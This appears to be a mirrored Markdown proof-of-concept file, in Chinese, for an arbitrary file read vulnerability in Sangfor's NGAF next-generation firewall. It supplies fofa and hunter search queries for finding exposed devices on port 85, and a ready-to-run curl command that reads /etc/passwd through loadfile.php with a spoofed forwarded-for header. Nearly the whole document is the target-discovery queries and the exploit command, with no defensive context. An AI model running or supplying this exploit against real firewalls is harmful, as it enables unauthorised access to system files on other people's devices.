mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
20 lines
475 B
Markdown
20 lines
475 B
Markdown
## 深信服下一代防火墙NGAF任意文件读取漏洞
|
|
|
|
## fofa:
|
|
|
|
"Redirect.php?url=/LogInOut.php" && port="85"
|
|
|
|
## hunter:
|
|
web.body="LogInOut.php?type=logout"
|
|
|
|
## 漏洞复现
|
|
```
|
|
curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|